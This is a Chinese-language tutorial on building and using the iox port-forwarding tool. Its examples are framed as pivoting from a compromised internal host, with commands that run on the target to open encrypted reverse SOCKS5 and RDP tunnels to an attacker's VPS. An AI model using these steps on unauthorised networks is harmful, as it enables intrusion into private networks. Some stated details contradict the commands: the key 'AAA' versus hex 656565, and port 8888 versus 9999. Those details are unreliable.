IOX的使用
iox是一款功能强大的端口转发&内网代理工具,该工具的功能类似于lcx和ew,但是iox的功能和性能都更加强大。
实际上,lcx和ew都是非常优秀的工具,但还是有地方可以提升的。在一开始使用这些工具的一段时间里,那些复杂的命令行参数是很难记忆的,比如说tran、slave、rcsocks和sssocks等等。这些工具的工作机制非常清晰,明明可以用简单的参数来表示的,为什么要用这么复杂的参数来代替呢?除此之外,这些工具的网络编程逻辑也是可以优化的。比如说,在运行“lcx -listen 8888 9999”命令时,客户端必须先连接“:8888”,再连接“:9999”,实际上这两个端口的连接是没有顺序限制的,但是在iox里则没有这样的限制。再比如说,运行“lcx -slave 1.1.1.1 8888 1.1.1.1 9999”命令时,lcx会以串行的方式连接两个主机,但是并发连接两个主机会更高效,毕竟是纯I/O操作,而iox就是以这种更高效的方式实现的。
因为iox是采用Go编写的,所以静态连接的程序有一点大,原程序有2.2MB,而UPX压缩后只有800KB。
IOX特性
- 流量加密(可选)
- 友好的命令行参数
- 逻辑优化
- UDP流量转发
- 反向代理模式中使用 TCP 多路复用
工具下载
项目地址:https://github.com/EddieIvan01/iox
将项目源码克隆到本地
git clone https://github.com/EddieIvan01/iox.git
iox参数
-l:监听本地的端口,带 * 意味着流量加密
-r:连接远程主机的端口,带 * 意味着流量加密
-k:十六进制格式键,用于生成键和 IV
-u:UDP 转发模式
-t:设置连接超时时间,默认是 5000s
-v:开启日志输出
-h:查看帮助
centos7下载go环境
文件地址:https://golang.google.cn/dl/go1.23.0.linux-amd64.tar.gz
安装命令:
tar -zxvf go1.23.0.linux-amd64.tar.gz -C /usr/local/
安装完成之后,通过修改配置文件 /etc/profile
,使得环境变量永久生效。打开文件,在文件的最后加上下面的两行代码
export GOROOT=/usr/local/go
export PATH=$GOPATH/bin:$GOROOT/bin:$PATH
改完配置之后下次开机时才会生效。可以使用下面的命令来立刻生效。
source /etc/profile
go环境变量配置之后,查看版本和环境变量。
go version #查看go的版本号
go env #查看go的环境变量
iox工具编译安装
go环境安装完之后去到iox的文件夹。
执行以下命令。会生成一个名为iox的可执行文件。
go build -o iox main.go
网络问题,连接被拒绝了。
配置国内代理:
go env -w GOPROXY=https://goproxy.cn,direct
配置完再执行:go build -o iox main.go
成功编译。
iox的使用
所有的参数都是统一的。-l/--local
意为监听本地端口;-r/--remote
意为连接远端主机
-l 127.0.0.1:9999 -l *127.0.0.1:9999 ----------》 127.0.0.1:9999
-l 9999 -l *9999 ----------》 0.0.0.0:9999
iox有两种工作模式。
fwd转发模式
监听 0.0.0.0:8888
和0.0.0.0:9999
(即本地),将两个连接间的流量进行转发
./iox fwd -l 8888 -l 9999
监听本地 8888 端口将流量转发到 39.99.251.19 机器的 9999 端口,流量加密,密钥是:‘AAA’
./iox fwd -l *8888 -l *9999 -k 656565
监听本地 8888 端口将流量转发到 192.168.5.168机器的 9999 端口
./iox fwd -l 8888 -r 192.168.5.168:9999
监听本地 8888 端口将流量转发到 192.168.5.168 机器的 9999 端口,流量加密
./iox fwd -l *8888 -r *192.168.5.168:9999 -k 656565
连接 192.168.5.168:8888 和 192.168.5.168:9999, 在两个连接间转发流量
./iox fwd -r 192.168.5.168:8888 -r 192.168.5.168:9999
连接 192.168.5.168:8888 和 192.168.5.168:9999, 在两个连接间转发流量,流量加密
./iox fwd -r *192.168.5.168:8888 -r *192.168.5.168:9999 -k 656565
实践模拟
将内网主机的RDP端口转发到VPS上。
场景:公司拥有一台位于内网环境中的服务器,该服务器运行着 Windows Server 操作系统,并提供了远程桌面服务(RDP)。为了便于远程管理和维护这台服务器,您希望能够从外部网络通过 RDP 访问到这台内网服务器。然而,由于公司的网络策略和安全限制,内网服务器无法直接从外部网络访问。为了解决这个问题,使用了一台位于公共网络上的 VPS 作为跳板和拥有内网那台主机的权限。
VPS执行以下命令:
./iox fwd -l *9999 -l 3389 -k 656565
目标机器上执行
iox.exe fwd -r 192.168.5.128:3389 -r *192.168.5.168:9999 -k 656565
执行完命令之后连接192.168.5.168的3389端口就能连接登录上内网主机。
这里被控主机和 VPS:8888 之间的流量会被加密,预共享的密钥是’AAA’。
proxy代理模式
socks5反向代理
场景:我们获得了一个位于内网的通过 NAT 方式对外提供服务的主机的权限,现在我们需要对其所在的内网继续进行渗透。于是,我们就需要通过iox 建立一个 socks5 隧道代理,让我们的主机可以通过隧道访问其内网。
VPS执行以下命令:
./iox proxy -l *9999 -l *1080 -k 656565
目标机器执行以下命令:
将流量转发到192.168.5.168的 9999 端口
iox.exe proxy -r *192.168.5.168:9999 -k 656565
成功建立socks5隧道。接着使用socks5代理192.168.5.168的1080端口即可访问内网.
成功访问。
socks5正向代理
目标机器执行
./iox proxy -l 1080